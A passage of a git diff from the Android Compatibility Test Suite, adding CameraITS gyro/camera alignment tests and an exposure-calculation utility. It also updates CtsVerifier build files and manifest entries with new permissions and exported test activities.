+    pwl_waveform = []
+    for t in range(pts[0], pts[1], step):
+      pwl_waveform.append(0)
+    for t in range(pts[1], pts[2], step):
+      pwl_waveform.append((t-pts[1])/(pts[2]-pts[1])*amplitude)
+    for t in range(pts[2], pts[3], step):
+      pwl_waveform.append(amplitude)
+    for t in range(pts[3], pts[4], step):
+      pwl_waveform.append((pts[4]-t)/(pts[4]-pts[3])*amplitude)
+    for t in range(pts[4], pts[5], step):
+      pwl_waveform.append(0)
+    for t in range(pts[5], pts[6], step):
+      pwl_waveform.append((-1*(t-pts[5])/(pts[6]-pts[5]))*amplitude)
+    for t in range(pts[6], pts[7], step):
+      pwl_waveform.append(-1*amplitude)
+    for t in range(pts[7], pts[8], step):
+      pwl_waveform.append((t-pts[8])/(pts[8]-pts[7])*amplitude)
+    for t in range(pts[8], pts[9], step):
+      pwl_waveform.append(0)
+    return pwl_waveform
+
+  def _generate_test_waveforms(self, gyro_sampling_rate, t_offset=0):
+    """Define ideal camera/gryo behavior.
+
+    Args:
+      gyro_sampling_rate: Value in samples/sec.
+      t_offset: Value in ns for gyro/camera timing offset.
+
+    Returns:
+      cam_times: numpy array of camera times N values long.
+      cam_rots: numpy array of camera rotations N-1 values long.
+      gyro_events: list of dicts of gyro events N*gyro_sampling_rate/30 long.
+
+    Round trip for motor is ~2 seconds (~60 frames)
+            1111111111111111
+           i                i
+          i                  i
+         i                    i
+     0000                      0000                      0000
+                                   i                    i
+                                    i                  i
+                                     i                i
+                                      -1-1-1-1-1-1-1-1
+    t_0 t_1 t_2           t_3 t_4 t_5 t_6           t_7 t_8 t_9
+
+    Note gyro waveform must extend +/- _CORR_TIME_OFFSET_MAX to enable shifting
+    of camera waveform to find best correlation.
+
+    """
+
+    t_ramp = 4 * self._CAM_FRAME_TIME
+    pts = {}
+    pts[0] = 3 * self._CAM_FRAME_TIME
+    pts[1] = pts[0] + 3 * self._CAM_FRAME_TIME
+    pts[2] = pts[1] + t_ramp
+    pts[3] = pts[2] + 32 * self._CAM_FRAME_TIME
+    pts[4] = pts[3] + t_ramp
+    pts[5] = pts[4] + 4 * self._CAM_FRAME_TIME
+    pts[6] = pts[5] + t_ramp
+    pts[7] = pts[6] + 32 * self._CAM_FRAME_TIME
+    pts[8] = pts[7] + t_ramp
+    pts[9] = pts[8] + 4 * self._CAM_FRAME_TIME
+    cam_times = np.array(range(pts[0], pts[9], self._CAM_FRAME_TIME))
+    cam_rots = self._generate_pwl_waveform(
+        pts, self._CAM_FRAME_TIME, self._CAM_ROT_AMPLITUDE)
+    cam_rots.pop()  # rots is N-1 for N length times.
+    cam_rots = np.array(cam_rots)
+
+    # Generate gyro waveform.
+    gyro_step = int(round(_SEC_TO_NSEC/gyro_sampling_rate, 0))
+    gyro_pts = {k: v+t_offset+self._CAM_FRAME_TIME//2 for k, v in pts.items()}
+    gyro_pts[0] = 0  # adjust end pts to bound camera
+    gyro_pts[9] += self._CAM_FRAME_TIME*2  # adjust end pt to bound camera
+    gyro_rot_amplitude = (
+        self._CAM_ROT_AMPLITUDE / self._CAM_FRAME_TIME * _SEC_TO_NSEC)
+    gyro_rots = self._generate_pwl_waveform(
+        gyro_pts, gyro_step, gyro_rot_amplitude)
+
+    # Create gyro events list of dicts.
+    gyro_events = []
+    for i, t in enumerate(range(gyro_pts[0], gyro_pts[9], gyro_step)):
+      gyro_events.append({'time': t, 'z': gyro_rots[i]})
+
+    return cam_times, cam_rots, gyro_events
+
+  def test_get_gyro_rotations(self):
+    """Tests that gyro rotations are masked properly by camera rotations.
+
+    Note that waveform ideal waveform generation only works properly with
+    integer multiples of frame rate.
+    """
+    # Run with different sampling rates to validate.
+    for gyro_sampling_rate in [200, 1000]:  # 6x, 30x frame rate
+      cam_times, cam_rots, gyro_events = self._generate_test_waveforms(
+          gyro_sampling_rate)
+      gyro_rots = get_gyro_rotations(gyro_events, cam_times)
+      e_msg = f'gyro sampling rate = {gyro_sampling_rate}\n'
+      e_msg += f'cam_times = {list(cam_times)}\n'
+      e_msg += f'cam_rots = {list(cam_rots)}\n'
+      e_msg += f'gyro_rots = {list(gyro_rots)}'
+
+      self.assertTrue(np.allclose(
+          gyro_rots, cam_rots, atol=self._CAM_ROT_AMPLITUDE*0.10), e_msg)
+
+  def test_get_best_alignment_offset(self):
+    """Unittest for alignment offset check."""
+
+    gyro_sampling_rate = 5000
+    for t_offset_ms in [0, 1]:  # Run with different offsets to validate.
+      t_offset = int(t_offset_ms * _MSEC_TO_NSEC)
+      cam_times, cam_rots, gyro_events = self._generate_test_waveforms(
+          gyro_sampling_rate, t_offset)
+
+      best_fit_offset, coeffs, x, y = get_best_alignment_offset(
+          cam_times, cam_rots, gyro_events)
+      e_msg = f'best: {best_fit_offset} ms\n'
+      e_msg += f'coeffs: {coeffs}\n'
+      e_msg += f'x: {x}\n'
+      e_msg += f'y: {y}'
+      self.assertTrue(np.isclose(t_offset_ms, best_fit_offset, atol=0.1), e_msg)
+
+
+if __name__ == '__main__':
+  unittest.main()
+
diff --git a/apps/CameraITS/utils/target_exposure_utils.py b/apps/CameraITS/utils/target_exposure_utils.py
new file mode 100644
index 0000000..9b6c422
--- /dev/null
+++ b/apps/CameraITS/utils/target_exposure_utils.py
@@ -0,0 +1,254 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Utility functions to calculate targeted exposures based on camera properties.
+"""
+
+import json
+import logging
+import os
+import sys
+import unittest
+
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+CACHE_FILENAME = 'its.target.cfg'
+
+
+def get_target_exposure_combos(output_path, its_session=None):
+  """Get a set of legal combinations of target (exposure time, sensitivity).
+
+  Gets the target exposure value, which is a product of sensitivity (ISO) and
+  exposure time, and returns equivalent tuples of (exposure time,sensitivity)
+  that are all legal and that correspond to the four extrema in this 2D param
+  space, as well as to two "middle" points.
+
+  Will open a device session if its_session is None.
+
+  Args:
+   output_path: String, path where the target.cfg file will be saved.
+   its_session: Optional, holding an open device session.
+
+  Returns:
+    Object containing six legal (exposure time, sensitivity) tuples, keyed
+    by the following strings:
+    'minExposureTime'
+    'midExposureTime'
+    'maxExposureTime'
+    'minSensitivity'
+    'midSensitivity'
+    'maxSensitivity'
+  """
+  target_config_filename = os.path.join(output_path, CACHE_FILENAME)
+
+  if its_session is None:
+    with its_session_utils.ItsSession() as cam:
+      exposure = get_target_exposure(target_config_filename, cam)
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+  else:
+    exposure = get_target_exposure(target_config_filename, its_session)
+    props = its_session.get_camera_properties()
+    props = its_session.override_with_hidden_physical_camera_props(props)
+
+    sens_range = props['android.sensor.info.sensitivityRange']
+    exp_time_range = props['android.sensor.info.exposureTimeRange']
+
+    # Combo 1: smallest legal exposure time.
+    e1_expt = exp_time_range[0]
+    e1_sens = exposure / e1_expt
+    if e1_sens > sens_range[1]:
+      e1_sens = sens_range[1]
+      e1_expt = exposure / e1_sens
+
+    # Combo 2: largest legal exposure time.
+    e2_expt = exp_time_range[1]
+    e2_sens = exposure / e2_expt
+    if e2_sens < sens_range[0]:
+      e2_sens = sens_range[0]
+      e2_expt = exposure / e2_sens
+
+    # Combo 3: smallest legal sensitivity.
+    e3_sens = sens_range[0]
+    e3_expt = exposure / e3_sens
+    if e3_expt > exp_time_range[1]:
+      e3_expt = exp_time_range[1]
+      e3_sens = exposure / e3_expt
+
+    # Combo 4: largest legal sensitivity.
+    e4_sens = sens_range[1]
+    e4_expt = exposure / e4_sens
+    if e4_expt < exp_time_range[0]:
+      e4_expt = exp_time_range[0]
+      e4_sens = exposure / e4_expt
+
+    # Combo 5: middle exposure time.
+    e5_expt = (exp_time_range[0] + exp_time_range[1]) / 2.0
+    e5_sens = exposure / e5_expt
+    if e5_sens > sens_range[1]:
+      e5_sens = sens_range[1]
+      e5_expt = exposure / e5_sens
+    if e5_sens < sens_range[0]:
+      e5_sens = sens_range[0]
+      e5_expt = exposure / e5_sens
+
+    # Combo 6: middle sensitivity.
+    e6_sens = (sens_range[0] + sens_range[1]) / 2.0
+    e6_expt = exposure / e6_sens
+    if e6_expt > exp_time_range[1]:
+      e6_expt = exp_time_range[1]
+      e6_sens = exposure / e6_expt
+    if e6_expt < exp_time_range[0]:
+      e6_expt = exp_time_range[0]
+      e6_sens = exposure / e6_expt
+
+    return {
+        'minExposureTime': (int(e1_expt), int(e1_sens)),
+        'maxExposureTime': (int(e2_expt), int(e2_sens)),
+        'minSensitivity': (int(e3_expt), int(e3_sens)),
+        'maxSensitivity': (int(e4_expt), int(e4_sens)),
+        'midExposureTime': (int(e5_expt), int(e5_sens)),
+        'midSensitivity': (int(e6_expt), int(e6_sens))
+    }
+
+
+def get_target_exposure(target_config_filename, its_session=None):
+  """Get the target exposure to use.
+
+  If there is a cached value and if the "target" command line parameter is
+  present, then return the cached value. Otherwise, measure a new value from
+  the scene, cache it, then return it.
+
+  Args:
+    target_config_filename: String, target config file name.
+    its_session: Optional, holding an open device session.
+
+  Returns:
+    The target exposure value.
+  """
+  cached_exposure = None
+  for s in sys.argv[1:]:
+    if s == 'target':
+      cached_exposure = get_cached_target_exposure(target_config_filename)
+  if cached_exposure is not None:
+    logging.debug('Using cached target exposure')
+    return cached_exposure
+  if its_session is None:
+    with its_session_utils.ItsSession() as cam:
+      measured_exposure = do_target_exposure_measurement(cam)
+  else:
+    measured_exposure = do_target_exposure_measurement(its_session)
+  set_cached_target_exposure(target_config_filename, measured_exposure)
+  return measured_exposure
+
+
+def set_cached_target_exposure(target_config_filename, exposure):
+  """Saves the given exposure value to a cached location.
+
+  Once a value is cached, a call to get_cached_target_exposure will return
+  the value, even from a subsequent test/script run. That is, the value is
+  persisted.
+
+  The value is persisted in a JSON file in the current directory (from which
+  the script calling this function is run).
+
+  Args:
+   target_config_filename: String, target config file name.
+   exposure: The value to cache.
+  """
+  logging.debug('Setting cached target exposure')
+  with open(target_config_filename, 'w') as f:
+    f.write(json.dumps({'exposure': exposure}))
+
+
+def get_cached_target_exposure(target_config_filename):
+  """Get the cached exposure value.
+
+  Args:
+   target_config_filename: String, target config file name.
+
+  Returns:
+    The cached exposure value, or None if there is no valid cached value.
+  """
+  try:
+    with open(target_config_filename, 'r') as f:
+      o = json.load(f)
+      return o['exposure']
+  except IOError:
+    return None
+
+
+def do_target_exposure_measurement(its_session):
+  """Use device 3A and captured shots to determine scene exposure.
+
+    Creates a new ITS device session (so this function should not be called
+    while another session to the device is open).
+
+    Assumes that the camera is pointed at a scene that is reasonably uniform
+    and reasonably lit -- that is, an appropriate target for running the ITS
+    tests that assume such uniformity.
+
+    Measures the scene using device 3A and then by taking a shot to hone in on
+    the exact exposure level that will result in a center 10% by 10% patch of
+    the scene having a intensity level of 0.5 (in the pixel range of [0,1])
+    when a linear tonemap is used. That is, the pixels coming off the sensor
+    should be at approximately 50% intensity (however note that it's actually
+    the luma value in the YUV image that is being targeted to 50%).
+
+    The computed exposure value is the product of the sensitivity (ISO) and
+    exposure time (ns) to achieve that sensor exposure level.
+
+  Args:
+    its_session: Holds an open device session.
+
+  Returns:
+    The measured product of sensitivity and exposure time that results in
+    the luma channel of captured shots having an intensity of 0.5.
+  """
+  logging.debug('Measuring target exposure')
+
+  # Get AE+AWB lock first, so the auto values in the capture result are
+  # populated properly.
+  r = [[0.45, 0.45, 0.1, 0.1, 1]]
+  sens, exp_time, gains, xform, _ \
+          = its_session.do_3a(r, r, r, do_af=False, get_results=True)
+
+  # Convert the transform to rational.
+  xform_rat = [{'numerator': int(100 * x), 'denominator': 100} for x in xform]
+
+  # Linear tonemap
+  tmap = sum([[i / 63.0, i / 63.0] for i in range(64)], [])
+
+  # Capture a manual shot with this exposure, using a linear tonemap.
+  # Use the gains+transform returned by the AWB pass.
+  req = capture_request_utils.manual_capture_request(sens, exp_time)
+  req['android.tonemap.mode'] = 0
+  req['android.tonemap.curve'] = {'red': tmap, 'green': tmap, 'blue': tmap}
+  req['android.colorCorrection.transform'] = xform_rat
+  req['android.colorCorrection.gains'] = gains
+  cap = its_session.do_capture(req)
+
+  # Compute the mean luma of a center patch.
+  yimg, _, _ = image_processing_utils.convert_capture_to_planes(
+      cap)
+  tile = image_processing_utils.get_image_patch(yimg, 0.45, 0.45, 0.1, 0.1)
+  luma_mean = image_processing_utils.compute_image_means(tile)
+
+  # Compute the exposure value that would result in a luma of 0.5.
+  return sens * exp_time * 0.5 / luma_mean[0]
+
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index e2821e9..813e7b3 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -17,6 +17,7 @@
 android_test {
     name: "CtsVerifier",
     defaults: ["cts_error_prone_rules_tests"],
+    additional_manifests: ["AndroidManifest-common.xml"],
 
     compile_multilib: "both",
 
@@ -50,6 +51,8 @@
         "CtsCameraUtils",
         "androidx.legacy_legacy-support-v4",
         "CtsForceStopHelper-constants",
+        "ctsmediautil",
+        "DpmWrapper"
     ],
 
     libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"] + ["android.test.mock.stubs"] + ["android.car"] + ["voip-common"] + ["truth-prebuilt"],
@@ -60,6 +63,7 @@
         "libctsverifier_jni",
         "libctsnativemidi_jni",
         "libaudioloopback_jni",
+        "libmegaaudio_jni",
     ],
 
     optimize: {
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index ab0d539..083fd9b 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -49,7 +49,9 @@
     CtsPermissionApp \
     CtsForceStopHelper \
     NotificationBot \
-    CrossProfileTestApp
+    CrossProfileTestApp \
+    CtsTtsEngineSelectorTestHelper \
+    CtsTtsEngineSelectorTestHelper2
 
 # Apps to be installed as Instant App using adb install --instant
 pre-installed-instant-app := CtsVerifierInstantApp
diff --git a/apps/CtsVerifier/AndroidManifest-common.xml b/apps/CtsVerifier/AndroidManifest-common.xml
new file mode 100644
index 0000000..925f8aa
--- /dev/null
+++ b/apps/CtsVerifier/AndroidManifest-common.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.verifier">
+
+    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="30"/>
+
+    <application android:networkSecurityConfig="@xml/network_security_config"
+                 android:label="@string/app_name"
+                 android:icon="@drawable/icon"
+                 android:debuggable="true"
+                 android:largeHeap="true"
+                 android:requestLegacyExternalStorage="true"
+                 android:allowBackup="false"
+                 android:theme="@android:style/Theme.DeviceDefault">
+
+        <meta-data android:name="android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU"
+                   android:value="true"/>
+
+        <activity android:name=".TestListActivity" android:label="@string/app_name" />
+
+        <activity android:name=".ReportViewerActivity"
+                  android:configChanges="keyboardHidden|orientation|screenSize"
+                  android:label="@string/report_viewer" />
+    </application>
+
+    <queries>
+        <!-- Rotation Vector CV Crosscheck (RVCVXCheckTestActivity) relies on OpenCV Manager -->
+        <package android:name="org.opencv.engine" />
+    </queries>
+</manifest>
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 47dd4f5..9ed0b6f 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -16,9 +16,9 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-      package="com.android.cts.verifier"
-      android:versionCode="5"
-      android:versionName="11_r1">
+          package="com.android.cts.verifier"
+          android:versionCode="5"
+          android:versionName="11_r1">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="30"/>
 
@@ -32,12 +32,16 @@
     <uses-permission android:name="android.permission.ACTIVITY_RECOGNITION" />
     <uses-permission android:name="android.permission.BLUETOOTH" />
     <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+    <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+    <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
     <uses-permission android:name="android.permission.BODY_SENSORS"/>
     <uses-permission android:name="android.permission.CAMERA" />
     <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
     <uses-permission android:name="android.permission.FULLSCREEN" />
+    <uses-permission android:name="android.permission.HIGH_SAMPLING_RATE_SENSORS" />
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.NFC" />
     <uses-permission android:name="android.permission.NFC_TRANSACTION_EVENT" />
@@ -83,26 +87,18 @@
     <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
-    <application android:networkSecurityConfig="@xml/network_security_config"
-            android:label="@string/app_name"
-            android:icon="@drawable/icon"
-            android:debuggable="true"
-            android:largeHeap="true"
-            android:requestLegacyExternalStorage="true"
-            android:allowBackup="false"
-            android:theme="@android:style/Theme.DeviceDefault">
+    <!-- Needed for CompaionDeviceAwakeTestActivity test. -->
+    <uses-permission android:name="android.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE" />
+
+    <!-- TODO(b/176993670): needed by DevicePolicyManagerWrapper to send ordered broadcast from
+         current user to system user on devices running on headless system user mode. Should be
+         removed once tests are refactored to use the proper IPC between theses users.  -->
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+
+    <application>
 
         <meta-data android:name="SuiteName" android:value="CTS_VERIFIER" />
 
-        <meta-data android:name="android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU"
-            android:value="true"/>
-
-        <activity android:name=".TestListActivity" android:label="@string/app_name" />
-
-        <activity android:name=".ReportViewerActivity"
-                android:configChanges="keyboardHidden|orientation|screenSize"
-                android:label="@string/report_viewer" />
-
         <provider android:name=".TestResultsProvider"
                 android:authorities="com.android.cts.verifier.testresultsprovider"
                 android:grantUriPermissions="true"
@@ -111,6 +107,7 @@
 
         <activity android:name=".admin.PolicySerializationTestActivity"
                 android:label="@string/da_policy_serialization_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -127,6 +124,7 @@
 
         <activity android:name=".admin.DeviceAdminUninstallTestActivity"
                   android:label="@string/da_uninstall_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -141,6 +139,7 @@
 
         <activity android:name=".admin.tapjacking.DeviceAdminTapjackingTestActivity"
                   android:label="@string/da_tapjacking_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -154,6 +153,7 @@
         </activity>
 
         <receiver android:name=".admin.tapjacking.EmptyDeviceAdminReceiver"
+                  android:exported="true"
                   android:permission="android.permission.BIND_DEVICE_ADMIN">
             <meta-data android:name="android.app.device_admin"
                        android:resource="@xml/tapjacking_device_admin" />
@@ -173,6 +173,7 @@
         <activity
             android:name=".battery.BatterySaverTestActivity"
             android:label="@string/battery_saver_test"
+            android:exported="true"
             android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -186,6 +187,7 @@
 
         <activity android:name=".forcestop.RecentTaskRemovalTestActivity"
                   android:label="@string/remove_from_recents_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -199,6 +201,7 @@
 
         <activity android:name=".companion.CompanionDeviceTestActivity"
                   android:label="@string/companion_test"
+                  android:exported="true"
                   android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -211,6 +214,31 @@
                        android:value="multi_display_mode" />
         </activity>
 
+        <activity android:name=".companion.CompanionDeviceServiceTestActivity"
+                  android:label="@string/companion_service_test"
+                  android:exported="true"
+                  android:configChanges="keyboardHidden|orientation|screenSize">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_features" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.companion_device_setup" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
+
+        <service
+            android:name=".companion.DevicePresenceListener"
+            android:exported="true"
+            android:label="Presence Listener Service"
+            android:permission="android.permission.BIND_COMPANION_DEVICE_SERVICE">
+            <intent-filter>
+                <action android:name="android.companion.CompanionDeviceService" />
+            </intent-filter>
+        </service>
+
         <!-- A generic activity for intent based tests.
         stateNotNeeded is defined ot prevent IntentDrivenTestActivity from being killed when
         switching users. IntentDrivenTestActivity does not implement onSaveInstanceState() so it is
@@ -221,6 +249,7 @@
 
         <activity android:name=".admin.ScreenLockTestActivity"
                 android:label="@string/da_screen_lock_test"
+                android:exported="true"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -238,6 +267,7 @@
         <activity
             android:name=".bluetooth.BluetoothTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bluetooth_test" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -263,6 +293,7 @@
         <activity
             android:name=".bluetooth.BluetoothToggleActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_toggle_bluetooth" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -291,6 +322,7 @@
         <activity
             android:name=".bluetooth.HidDeviceActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_hid_device" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -320,6 +352,7 @@
         <activity
             android:name=".bluetooth.HidHostActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_hid_host" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -345,6 +378,7 @@
         <activity
             android:name=".bluetooth.SecureServerActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_secure_server" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -372,6 +406,7 @@
         <activity
             android:name=".bluetooth.InsecureServerActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_insecure_server" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -399,6 +434,7 @@
         <activity
             android:name=".bluetooth.SecureClientActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_secure_client" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -426,6 +462,7 @@
         <activity
             android:name=".bluetooth.InsecureClientActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_insecure_client" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -454,6 +491,7 @@
         <activity
             android:name=".bluetooth.ConnectionAccessServerActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_connection_access_server" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -478,6 +516,7 @@
         <activity
             android:name=".bluetooth.ConnectionAccessClientActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/bt_connection_access_client" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -544,6 +583,7 @@
         <activity
             android:name=".bluetooth.BleInsecureClientTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_insecure_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -573,6 +613,7 @@
         <activity
             android:name=".bluetooth.BleInsecureClientStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -602,6 +643,7 @@
             android:name=".bluetooth.BleInsecureConnectionPriorityClientTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="@string/ble_connection_priority_client_name"
+            android:exported="true"
             android:windowSoftInputMode="stateAlwaysHidden" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -635,6 +677,7 @@
             android:name=".bluetooth.BleInsecureEncryptedClientTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="@string/ble_encrypted_client_name"
+            android:exported="true"
             android:windowSoftInputMode="stateAlwaysHidden" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -667,6 +710,7 @@
         <activity
             android:name=".bluetooth.BleInsecureServerTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_insecure_server_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -695,6 +739,7 @@
         <activity
             android:name=".bluetooth.BleInsecureServerStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_server_start_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -723,6 +768,7 @@
         <activity
             android:name=".bluetooth.BleInsecureConnectionPriorityServerTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_connection_priority_server_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -756,6 +802,7 @@
             android:name=".bluetooth.BleInsecureEncryptedServerTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="@string/ble_encrypted_server_name"
+            android:exported="true"
             android:windowSoftInputMode="stateAlwaysHidden" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -788,6 +835,7 @@
         <activity
             android:name=".bluetooth.BleSecureClientTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_secure_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -816,6 +864,7 @@
         <activity
             android:name=".bluetooth.BleSecureClientStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_client_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -845,6 +894,7 @@
             android:name=".bluetooth.BleSecureConnectionPriorityClientTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="@string/ble_connection_priority_client_name"
+            android:exported="true"
             android:windowSoftInputMode="stateAlwaysHidden" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -877,6 +927,7 @@
             android:name=".bluetooth.BleSecureEncryptedClientTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="@string/ble_encrypted_client_name"
+            android:exported="true"
             android:windowSoftInputMode="stateAlwaysHidden" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -910,6 +961,7 @@
         <activity
             android:name=".bluetooth.BleSecureServerTestListActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_secure_server_test_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -938,6 +990,7 @@
         <activity
             android:name=".bluetooth.BleSecureServerStartActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_server_start_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -966,6 +1019,7 @@
         <activity
             android:name=".bluetooth.BleSecureConnectionPriorityServerTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
+            android:exported="true"
             android:label="@string/ble_connection_priority_server_name" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -998,6 +1052,7 @@
             android:name=".bluetooth.BleSecureEncryptedServerTestActivity"
             android:configChanges="keyboardHidden|orientation|screenSize"
             android:label="@string/ble_encrypted_server_name"
+            android:exported="true"
             android:windowSoftInputMode="stateAlwaysHidden" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -1031,6 +1086,7 @@
         <activity
